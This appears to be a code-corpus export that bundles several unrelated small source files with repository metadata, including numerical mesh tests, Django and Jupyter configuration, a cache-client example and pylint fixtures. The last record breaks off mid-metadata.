from safe_grid_agents.common.agents.policy_mlp import PPOMLPAgent
from safe_grid_agents.common.agents.policy_cnn import PPOCNNAgent
__all__ = [
"RandomAgent",
"SingleActionAgent",
"TabularQAgent",
"DeepQAgent",
"PPOMLPAgent",
"PPOCNNAgent",
]
| 30.266667 | 79 | 0.781938 | 51 | 454 | 6.686275 | 0.392157 | 0.093842 | 0.140762 | 0.211144 | 0.387097 | 0.387097 | 0.211144 | 0 | 0 | 0 | 0 | 0 | 0.123348 | 454 | 14 | 80 | 32.428571 | 0.856784 | 0.052863 | 0 | 0 | 0 | 0 | 0.17217 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
61e54426fb2f3a63fafe5d49c1c02506d98ea49d | 551 | py | Python | tests/unit/pruning/runner.py | suamin/nemex | 05d93c788bf1493a1f6da01e9eee03120da0f7d4 | [
"MIT"
] | 2 | 2021-03-24T12:12:55.000Z | 2021-05-02T11:48:47.000Z | tests/unit/pruning/runner.py | suamin/nemex | 05d93c788bf1493a1f6da01e9eee03120da0f7d4 | [
"MIT"
] | null | null | null | tests/unit/pruning/runner.py | suamin/nemex | 05d93c788bf1493a1f6da01e9eee03120da0f7d4 | [
"MIT"
] | 1 | 2021-05-16T17:44:08.000Z | 2021-05-16T17:44:08.000Z | import unittest
from .batch_count import test_batchcount
from .bucket_count import test_bucketcount
from .lazy_count import test_lazycount
# initialize the test suite
loader = unittest.TestLoader()
suite = unittest.TestSuite()
# add tests to the test suite
suite.addTests(loader.loadTestsFromModule(test_batchcount))
suite.addTests(loader.loadTestsFromModule(test_bucketcount))
suite.addTests(loader.loadTestsFromModule(test_lazycount))
if __name__ == '__main__':
runner = unittest.TextTestRunner(verbosity=3)
result = runner.run(suite)
| 26.238095 | 60 | 0.811252 | 66 | 551 | 6.515152 | 0.469697 | 0.076744 | 0.104651 | 0.265116 | 0.293023 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002033 | 0.107078 | 551 | 20 | 61 | 27.55 | 0.871951 | 0.096189 | 0 | 0 | 0 | 0 | 0.016162 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
61ea21f6ac5d1610edf5def0ec149d993e0c2e64 | 141 | py | Python | ui/_version.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | ui/_version.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | 2 | 2015-06-12T09:28:29.000Z | 2015-06-12T09:34:16.000Z | ui/_version.py | eufarn7sp/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | _asmm_version = '1.3.2'
_xml_version = '1.0b'
_py_version = '3.5.1'
_eclipse_version = '4.6.3'
_qt_version = '5.9'
_report_version = '3.4.0'
| 20.142857 | 26 | 0.673759 | 28 | 141 | 2.964286 | 0.571429 | 0.192771 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130081 | 0.12766 | 141 | 6 | 27 | 23.5 | 0.544715 | 0 | 0 | 0 | 0 | 0 | 0.191489 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61ef424a28125d5ca4df198be22c952bbb4b1bc8 | 7,960 | py | Python | tests/boundaries/test_boundary_integrals.py | ngodber/discretize | 2329c9e9552b5c05f40ebf62f0bb207267bd2f92 | [
"MIT"
] | 123 | 2017-01-09T04:59:25.000Z | 2022-03-29T08:06:43.000Z | tests/boundaries/test_boundary_integrals.py | ngodber/discretize | 2329c9e9552b5c05f40ebf62f0bb207267bd2f92 | [
"MIT"
] | 246 | 2017-01-09T17:20:12.000Z | 2022-03-01T22:05:20.000Z | tests/boundaries/test_boundary_integrals.py | ngodber/discretize | 2329c9e9552b5c05f40ebf62f0bb207267bd2f92 | [
"MIT"
] | 26 | 2018-03-27T19:24:46.000Z | 2021-11-11T20:28:09.000Z | import numpy as np
import scipy.sparse as sp
import discretize
def u(*args):
if len(args) == 1:
x = args[0]
return x**3
if len(args) == 2:
x, y = args
return x**3 + y**2
x, y, z = args
return x**3 + y**2 + z**4
def v(*args):
if len(args) == 1:
x = args[0]
return 2*x**2
if len(args) == 2:
x, y = args
return np.c_[2*x**2, 3*y**3]
x, y, z = args
return np.c_[2*x**2, 3*y**3, -4*z**2]
def w(*args):
if len(args) == 2:
x, y = args
return np.c_[(y - 2)**2, (x + 2)**2]
x, y, z = args
return np.c_[(y-2)**2 + z**2, (x+2)**2 - (z-4)**2, y**2-x**2]
# mesh will be on [0, 1] square
# 1D
# int_V grad_u dot v dV = 6/5
# int_V u dot div v dV = 4/5
# 2D
# square vals:
# int_V grad_u dot v dV = 12/5
# int_V u div_v dV = 241/60
# int_v curl_w dot v dV = -173/30
# circle vals:
# int_V grad_u dot dV = 3*np.pi/2
# int_V u div_v dV = 13*np.pi/8
# int_v curl_w dot v dV = -43*np.pi/8
# 3D square vals:
# int_V grad_u dot v dV = -4/15
# int_V u div_v dV = 27/20
# int_v curl_w dot v dV = 17/6
class Test1DBoundaryIntegral(discretize.tests.OrderTest):
name = "1D Boundary Integrals"
meshTypes = ["uniformTensorMesh"]
meshDimension = 1
expectedOrders = 2
meshSizes = [4, 8, 16, 32, 64, 128]
def getError(self):
mesh = self.M
if self.myTest == "cell_grad":
u_cc = u(mesh.cell_centers)
v_f = v(mesh.nodes)
u_bf = u(mesh.boundary_faces)
D = mesh.face_divergence
M_c = sp.diags(mesh.cell_volumes)
M_bf = mesh.boundary_face_scalar_integral
discrete_val = -(v_f.T @ D.T) @ M_c @ u_cc + v_f.T @ (M_bf @ u_bf)
true_val = 6/5
if self.myTest == "edge_div":
u_n = u(mesh.nodes)
v_e = v(mesh.edges)
v_bn = v(mesh.boundary_nodes).reshape(-1, order='F')
M_e = mesh.get_edge_inner_product()
G = mesh.nodal_gradient
M_bn = mesh.boundary_node_vector_integral
discrete_val = -(u_n.T @ G.T) @ M_e @ v_e + u_n.T @ (M_bn @ v_bn)
true_val = 4/5
return np.abs(discrete_val - true_val)
def test_orderWeakCellGradIntegral(self):
self.name = "1D - weak cell gradient integral w/boundary"
self.myTest = "cell_grad"
self.orderTest()
def test_orderWeakEdgeDivIntegral(self):
self.name = "1D - weak edge divergence integral w/boundary"
self.myTest = "edge_div"
self.orderTest()
class Test2DBoundaryIntegral(discretize.tests.OrderTest):
name = "2D Boundary Integrals"
meshTypes = [
"uniformTensorMesh",
"uniformTree",
"uniformCurv",
"rotateCurv",
"sphereCurv"
]
meshDimension = 2
expectedOrders = [2, 2, 2, 2, 1]
meshSizes = [4, 8, 16, 32, 64, 128]
def getError(self):
mesh = self.M
if self.myTest == "cell_grad":
# Functions:
u_cc = u(*mesh.cell_centers.T)
v_f = mesh.project_face_vector(v(*mesh.faces.T))
u_bf = u(*mesh.boundary_faces.T)
D = mesh.face_divergence
M_c = sp.diags(mesh.cell_volumes)
M_bf = mesh.boundary_face_scalar_integral
discrete_val = -(v_f.T @ D.T) @ M_c @ u_cc + v_f.T @ (M_bf @ u_bf)
if "sphere" not in self._meshType:
true_val = 12/5
else:
true_val = 3*np.pi/2
elif self.myTest == "edge_div":
u_n = u(*mesh.nodes.T)
v_e = mesh.project_edge_vector(v(*mesh.edges.T))
v_bn = v(*mesh.boundary_nodes.T).reshape(-1, order='F')
M_e = mesh.get_edge_inner_product()
G = mesh.nodal_gradient
M_bn = mesh.boundary_node_vector_integral
discrete_val = -(u_n.T @ G.T) @ M_e @ v_e + u_n.T @ (M_bn @ v_bn)
if "sphere" not in self._meshType:
true_val = 241/60
else:
true_val = 13*np.pi/8
elif self.myTest == "face_curl":
w_e = mesh.project_edge_vector(w(*mesh.edges.T))
u_c = u(*mesh.cell_centers.T)
u_be = u(*mesh.boundary_edges.T)
M_c = sp.diags(mesh.cell_volumes)
Curl = mesh.edge_curl
M_be = mesh.boundary_edge_vector_integral
discrete_val = (w_e.T @ Curl.T) @ M_c @ u_c - w_e.T @ (M_be @ u_be)
if 'Curv' in self._meshType:
self._expectedOrder = -1.0
if "sphere" not in self._meshType:
true_val = -173/30
else:
true_val = -43*np.pi/8
return np.abs(discrete_val - true_val)
def test_orderWeakCellGradIntegral(self):
self.name = "2D - weak cell gradient integral w/boundary"
self.myTest = "cell_grad"
self.orderTest()
def test_orderWeakEdgeDivIntegral(self):
self.name = "2D - weak edge divergence integral w/boundary"
self.myTest = "edge_div"
self.orderTest()
def test_orderWeakFaceCurlIntegral(self):
self.name = "2D - weak face curl integral w/boundary"
self.myTest = "face_curl"
self.orderTest()
class Test3DBoundaryIntegral(discretize.tests.OrderTest):
name = "3D Boundary Integrals"
meshTypes = [
"uniformTensorMesh",
"randomTensorMesh",
"uniformTree",
"uniformCurv",
"rotateCurv",
"sphereCurv"
]
meshDimension = 3
expectedOrders = [2, 1, 2, 2, 2, 0]
meshSizes = [4, 8, 16, 32]
def getError(self):
mesh = self.M
if self.myTest == "cell_grad":
# Functions:
u_cc = u(*mesh.cell_centers.T)
v_f = mesh.project_face_vector(v(*mesh.faces.T))
u_bf = u(*mesh.boundary_faces.T)
D = mesh.face_divergence
M_c = sp.diags(mesh.cell_volumes)
M_bf = mesh.boundary_face_scalar_integral
discrete_val = -(v_f.T @ D.T) @ M_c @ u_cc + v_f.T @ (M_bf @ u_bf)
if "sphere" not in self._meshType:
true_val = -4/15
else:
true_val = 48*np.pi/35
elif self.myTest == "edge_div":
u_n = u(*mesh.nodes.T)
v_e = mesh.project_edge_vector(v(*mesh.edges.T))
v_bn = v(*mesh.boundary_nodes.T).reshape(-1, order='F')
M_e = mesh.get_edge_inner_product()
G = mesh.nodal_gradient
M_bn = mesh.boundary_node_vector_integral
discrete_val = -(u_n.T @ G.T) @ M_e @ v_e + u_n.T @ (M_bn @ v_bn)
if "sphere" not in self._meshType:
true_val = 27/20
else:
true_val = 8*np.pi/5
elif self.myTest == "face_curl":
w_f = mesh.project_face_vector(w(*mesh.faces.T))
v_e = mesh.project_edge_vector(v(*mesh.edges.T))
w_be = w(*mesh.boundary_edges.T).reshape(-1, order='F')
M_f = mesh.get_face_inner_product()
Curl = mesh.edge_curl
M_be = mesh.boundary_edge_vector_integral
discrete_val = (v_e.T @ Curl.T) @ M_f @ w_f - v_e.T @ (M_be @ w_be)
if "sphere" not in self._meshType:
true_val = -79/6
else:
true_val = -64*np.pi/5
return np.abs(discrete_val - true_val)
def test_orderWeakCellGradIntegral(self):
self.name = "3D - weak cell gradient integral w/boundary"
self.myTest = "cell_grad"
self.orderTest()
def test_orderWeakEdgeDivIntegral(self):
self.name = "3D - weak edge divergence integral w/boundary"
self.myTest = "edge_div"
self.orderTest()
def test_orderWeakFaceCurlIntegral(self):
self.name = "3D - weak face curl integral w/boundary"
self.myTest = "face_curl"
self.orderTest()
| 30.852713 | 79 | 0.550879 | 1,167 | 7,960 | 3.545844 | 0.115681 | 0.008217 | 0.036733 | 0.040599 | 0.782504 | 0.729821 | 0.682939 | 0.656597 | 0.635814 | 0.604157 | 0 | 0.034567 | 0.327638 | 7,960 | 257 | 80 | 30.972763 | 0.738602 | 0.053266 | 0 | 0.633508 | 0 | 0 | 0.098191 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073298 | false | 0 | 0.015707 | 0 | 0.240838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
110f4382b4638ec9b002c4f4be3b4043abeaa5a3 | 366 | py | Python | jupyter_notebook_config.py | puzl-ee/example-notebook-server | 18d68da7ebeccf2ac0b648e98567fa373767a8e0 | [
"MIT"
] | 1 | 2021-03-17T19:21:26.000Z | 2021-03-17T19:21:26.000Z | jupyter_notebook_config.py | puzl-ee/example-jupyter-notebook-server | 18d68da7ebeccf2ac0b648e98567fa373767a8e0 | [
"MIT"
] | null | null | null | jupyter_notebook_config.py | puzl-ee/example-jupyter-notebook-server | 18d68da7ebeccf2ac0b648e98567fa373767a8e0 | [
"MIT"
] | null | null | null | # Set options for certfile, ip, password, and toggle off
c.NotebookApp.certfile = '/tmp/mycert.pem'
c.NotebookApp.keyfile = '/tmp/mykey.key'
# Set ip to '*' to bind on all interfaces (ips) for the public server
c.NotebookApp.ip = '*'
# It is a good idea to set a known, fixed port for server access
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
| 24.4 | 69 | 0.724044 | 60 | 366 | 4.4 | 0.65 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013115 | 0.166667 | 366 | 14 | 70 | 26.142857 | 0.852459 | 0.505464 | 0 | 0 | 0 | 0 | 0.172414 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1112195b4bf4d30076ba83f3cb477cacc33f52f6 | 278 | py | Python | Loops/GuessNumberOneTime.py | lytranp/Tutoring-PythonIntroduction | 90b02d2ccfcca50d299a54d8cad9c29dd491e1bf | [
"MIT"
] | null | null | null | Loops/GuessNumberOneTime.py | lytranp/Tutoring-PythonIntroduction | 90b02d2ccfcca50d299a54d8cad9c29dd491e1bf | [
"MIT"
] | null | null | null | Loops/GuessNumberOneTime.py | lytranp/Tutoring-PythonIntroduction | 90b02d2ccfcca50d299a54d8cad9c29dd491e1bf | [
"MIT"
] | null | null | null | import random
number = random.randint(0, 100)
guess = -1
while guess != number:
guess = eval(input("Enter your guess: "))
if guess > number:
print("Your guess is too high")
elif guess < number:
print("Your guess is too small")
print("You got it") | 19.857143 | 45 | 0.622302 | 40 | 278 | 4.325 | 0.575 | 0.190751 | 0.184971 | 0.231214 | 0.346821 | 0.346821 | 0.346821 | 0 | 0 | 0 | 0 | 0.024155 | 0.255396 | 278 | 14 | 46 | 19.857143 | 0.811594 | 0 | 0 | 0 | 0 | 0 | 0.261649 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0.3 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
111ef2fb204a53852255c7d6a7576a2e7755e8aa | 1,070 | py | Python | km_api/apple/views.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 4 | 2017-08-03T00:46:31.000Z | 2018-11-06T03:32:32.000Z | km_api/apple/views.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 526 | 2017-06-27T18:13:59.000Z | 2021-06-10T18:00:21.000Z | km_api/apple/views.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 1 | 2017-07-10T19:46:27.000Z | 2017-07-10T19:46:27.000Z | from rest_framework import generics, status
from apple import serializers
class ReceiptTypeQueryView(generics.CreateAPIView):
"""
post:
Get the type of an Apple receipt. If the provided receipt data
corresponds to a receipt that is valid in either the production or
test environments, then the `environment` key of the response will
be given as `PRODUCTION` or `SANDBOX`, respectively.
An invalid receipt will cause a 400 response.
"""
serializer_class = serializers.ReceiptTypeSerializer
def create(self, *args, **kwargs):
"""
Override the parent class' ``create`` method to set the status
code of the response to 200.
"""
response = super().create(*args, **kwargs)
response.status_code = status.HTTP_200_OK
return response
def perform_create(self, serializer):
"""
Override the method to not save the serializer. There is no data
to save, we just use the ``POST`` request so we can submit a
large body.
"""
pass
| 29.722222 | 72 | 0.662617 | 136 | 1,070 | 5.169118 | 0.573529 | 0.034139 | 0.036984 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01148 | 0.26729 | 1,070 | 35 | 73 | 30.571429 | 0.885204 | 0.497196 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.1 | 0.2 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
112bd4c5800b120a2bd08c9a55acbde3eccccc8e | 1,591 | py | Python | examples/basic.py | rajeshvaya/reservoir-client-python | 0ba5db76e3ed65bb977ec19a4ea27b4b818376d7 | [
"MIT"
] | null | null | null | examples/basic.py | rajeshvaya/reservoir-client-python | 0ba5db76e3ed65bb977ec19a4ea27b4b818376d7 | [
"MIT"
] | null | null | null | examples/basic.py | rajeshvaya/reservoir-client-python | 0ba5db76e3ed65bb977ec19a4ea27b4b818376d7 | [
"MIT"
] | null | null | null | # from Reservoir import ReservoirClient
import sys
import os
here = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.normpath(os.path.join(here, '../src/')))
from Reservoir import ReservoirClient
if __name__ == '__main__':
r = ReservoirClient()
# simple get
print r.get("pk_movie")
# simple set
print r.set("pk_movie", "awesome", 0)
print r.get("pk_movie")
# batch set
print r.set_batch([
{ "key":"pk_actor", "value":"aamir khan", "expiry":"0" },
{ "key":"pk_director", "value":"raj kumar hirani", "expiry":"0" },
{ "key":"pk_to_delete", "value":"some crap", "expiry":"0" }
])
# incrementer and decrementer
print r.icr("pk_movie_votes");
print r.icr("pk_movie_votes");
print r.get("pk_movie_votes");
print r.dcr("pk_movie_votes");
print r.get("pk_movie_votes");
# simple delete
print r.get("pk_to_delete")
print r.delete("pk_to_delete")
print r.get("pk_to_delete")
# simple dependants
print r.set("coldplay", "Best band ever", 0)
print r.set_dependant_batch([
{ "key":"coldplay_singer", "value":"chris martin", "expiry":"0" , "parent_key": "coldplay"},
{ "key":"coldplay_guitar", "value":"johny buckland", "expiry":"0" , "parent_key": "coldplay"},
{ "key":"coldplay_drums", "value":"will champion", "expiry":"0" , "parent_key": "coldplay"},
{ "key":"coldplay_base", "value":"guy berrymen", "expiry":"0" , "parent_key": "coldplay"}
])
print r.get_batch(['coldplay_singer', 'coldplay_guitar'])
print r.delete("coldplay") # this will delete the dependants too!
print r.get_batch(['coldplay_singer', 'coldplay_guitar'])
| 29.462963 | 96 | 0.675047 | 228 | 1,591 | 4.482456 | 0.307018 | 0.099804 | 0.07045 | 0.064579 | 0.398239 | 0.327789 | 0.327789 | 0.176125 | 0.064579 | 0 | 0 | 0.007194 | 0.126336 | 1,591 | 53 | 97 | 30.018868 | 0.728058 | 0.104965 | 0 | 0.363636 | 0 | 0 | 0.420567 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.515152 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
11313f7827a0e0494593a263e6af1b1b95e72a71 | 743 | py | Python | saefportal/saef/migrations/0026_auto_20210810_0957.py | harry-consulting/SAEF1 | 055d6e492ba76f90e3248b9da2985fdfe0c6b430 | [
"BSD-2-Clause"
] | null | null | null | saefportal/saef/migrations/0026_auto_20210810_0957.py | harry-consulting/SAEF1 | 055d6e492ba76f90e3248b9da2985fdfe0c6b430 | [
"BSD-2-Clause"
] | null | null | null | saefportal/saef/migrations/0026_auto_20210810_0957.py | harry-consulting/SAEF1 | 055d6e492ba76f90e3248b9da2985fdfe0c6b430 | [
"BSD-2-Clause"
] | 1 | 2020-12-16T15:02:52.000Z | 2020-12-16T15:02:52.000Z | # Generated by Django 3.1.6 on 2021-08-10 09:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('saef', '0025_auto_20210809_1555'),
]
operations = [
migrations.AddField(
model_name='settings',
name='profile_delta_deviation',
field=models.FloatField(default=0.2),
),
migrations.AddField(
model_name='settings',
name='profile_expected_datasets_n',
field=models.IntegerField(default=10),
),
migrations.AddField(
model_name='settings',
name='profile_failed_threshold',
field=models.FloatField(default=0.5),
),
]
| 25.62069 | 50 | 0.58681 | 74 | 743 | 5.716216 | 0.608108 | 0.12766 | 0.163121 | 0.191489 | 0.463357 | 0.326241 | 0.326241 | 0 | 0 | 0 | 0 | 0.071429 | 0.302826 | 743 | 28 | 51 | 26.535714 | 0.745174 | 0.060565 | 0 | 0.409091 | 1 | 0 | 0.179598 | 0.139368 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
114ab3e8a31507169bcb427ffea7e75cf4c20e97 | 1,834 | py | Python | tests/test_timeproxies.py | nolar/jiff | 841d8721712d3d2c3a8cc0e658fb71a3563ed23c | [
"MIT"
] | 12 | 2021-12-26T10:44:18.000Z | 2022-01-14T23:06:39.000Z | tests/test_timeproxies.py | nolar/jiff | 841d8721712d3d2c3a8cc0e658fb71a3563ed23c | [
"MIT"
] | 1 | 2021-12-05T15:11:32.000Z | 2021-12-05T15:11:32.000Z | tests/test_timeproxies.py | nolar/pytest-instant | 841d8721712d3d2c3a8cc0e658fb71a3563ed23c | [
"MIT"
] | null | null | null | import looptime
def test_time_proxy_math():
proxy = looptime.LoopTimeProxy(looptime.new_event_loop(start=123.456))
assert str(proxy) == '123.456'
assert int(proxy) == 123
assert float(proxy) == 123.456
assert proxy == 123.456
assert not proxy == 456.123
assert proxy != 456.123
assert not proxy != 123.456
assert proxy > 122
assert proxy < 124
assert proxy >= 122
assert proxy <= 124
assert not proxy < 122
assert not proxy > 124
assert not proxy <= 122
assert not proxy >= 124
assert not proxy > 123.456
assert not proxy < 123.456
assert proxy >= 123.456
assert proxy <= 123.456
assert proxy + 1.2 == 124.656
assert proxy - 1.2 == 122.256
assert proxy * 1.2 == 148.1472
# The following values cause floating point precision errors if not adjusted:
# 123.456 / 1.2 => 102.88000000000001
# 123.456 % 1.2 => 1.0560000000000076
# We also test for floating point resolution here:
assert proxy / 1.2 == 102.88
assert proxy // 1.2 == 102.0
assert proxy % 1.2 == 1.056
assert round(proxy ** 1.2, 6) == 323.455576 # approximately
def test_resolution_ignores_extra_precision():
proxy = looptime.LoopTimeProxy(looptime.new_event_loop(start=123.456789), resolution=.001)
assert str(proxy) == '123.457'
assert int(proxy) == 123
assert float(proxy) == 123.457
assert proxy == 123.457
assert proxy == 123.457111
assert proxy == 123.456999
# assume that other operations use the same rounding logic.
def test_loop_attachement():
loop1 = looptime.new_event_loop(start=123.456)
loop2 = looptime.new_event_loop(start=456.123)
proxy = looptime.LoopTimeProxy(loop1)
assert proxy == 123.456
assert proxy @ loop1 == 123.456
assert proxy @ loop2 == 456.123
| 28.215385 | 94 | 0.657034 | 262 | 1,834 | 4.534351 | 0.270992 | 0.185185 | 0.111111 | 0.128788 | 0.501684 | 0.453704 | 0.389731 | 0.296296 | 0.213805 | 0.075758 | 0 | 0.203863 | 0.237732 | 1,834 | 64 | 95 | 28.65625 | 0.645923 | 0.14831 | 0 | 0.090909 | 0 | 0 | 0.009003 | 0 | 0 | 0 | 0 | 0 | 0.795455 | 1 | 0.068182 | false | 0 | 0.022727 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1155deb0c96aba8667c1b254b5f056c01748ce32 | 634 | py | Python | vimfiles/bundle/vim-python/submodules/pylint/tests/functional/t/too/too_many_arguments_overload.py | ciskoinch8/vimrc | 5bf77a7e7bc70fac5173ab2e9ea05d7dda3e52b8 | [
"MIT"
] | 463 | 2015-01-15T08:17:42.000Z | 2022-03-28T15:10:20.000Z | vimfiles/bundle/vim-python/submodules/pylint/tests/functional/t/too/too_many_arguments_overload.py | ciskoinch8/vimrc | 5bf77a7e7bc70fac5173ab2e9ea05d7dda3e52b8 | [
"MIT"
] | 52 | 2015-01-06T02:43:59.000Z | 2022-03-14T11:15:21.000Z | vimfiles/bundle/vim-python/submodules/pylint/tests/functional/t/too/too_many_arguments_overload.py | ciskoinch8/vimrc | 5bf77a7e7bc70fac5173ab2e9ea05d7dda3e52b8 | [
"MIT"
] | 249 | 2015-01-07T22:49:49.000Z | 2022-03-18T02:32:06.000Z | # pylint: disable=missing-function-docstring,missing-module-docstring,missing-class-docstring
# pylint: disable=too-few-public-methods
from typing import overload
class ClassA:
@classmethod
@overload
def method(cls, arg1):
pass
@classmethod
@overload
def method(cls, arg1, arg2):
pass
@classmethod
def method(cls, arg1, arg2=None):
pass
ClassA.method(1, 2)
class ClassB:
@overload
def method(self, arg1):
pass
@overload
def method(self, arg1, arg2):
pass
def method(self, arg1, arg2=None):
pass
ClassB().method(1, arg2=2)
| 16.25641 | 93 | 0.634069 | 77 | 634 | 5.220779 | 0.363636 | 0.134328 | 0.169154 | 0.119403 | 0.420398 | 0.174129 | 0 | 0 | 0 | 0 | 0 | 0.031983 | 0.260252 | 634 | 38 | 94 | 16.684211 | 0.82516 | 0.205047 | 0 | 0.541667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.041667 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
1158be071a4619c693972206d312d28c04f0280d | 301 | py | Python | multapp/models/municipality.py | profefonso/API_REST_SOAP | 666a8de9ba287e6fb261d589ebe0e17e10637cc4 | [
"MIT"
] | null | null | null | multapp/models/municipality.py | profefonso/API_REST_SOAP | 666a8de9ba287e6fb261d589ebe0e17e10637cc4 | [
"MIT"
] | 16 | 2019-12-04T23:02:52.000Z | 2022-02-10T11:57:03.000Z | Api_SIMIT_Transactional/multapp/models/municipality.py | profefonso/Services-SM | 98b9949a237121451a13fce5bc8f2945fa5a3cee | [
"MIT"
] | null | null | null | from django.db import models
class Municipality(models.Model):
dian_code = models.CharField(
max_length=255
)
name = models.CharField(
max_length=100,
null=False,
blank=False
)
def __str__(self):
return self.dian_code + ' - ' + self.name | 18.8125 | 49 | 0.601329 | 35 | 301 | 4.942857 | 0.657143 | 0.092486 | 0.208092 | 0.277457 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 0.302326 | 301 | 16 | 49 | 18.8125 | 0.795238 | 0 | 0 | 0 | 0 | 0 | 0.009934 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0.083333 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
116191f341d74e55c3bd0fb23085faf65d409fa2 | 428 | bzl | Python | third_party/atlas/workspace.bzl | jzjonah/apollo | bc534789dc0548bf2d27f8d72fe255d5c5e4f951 | [
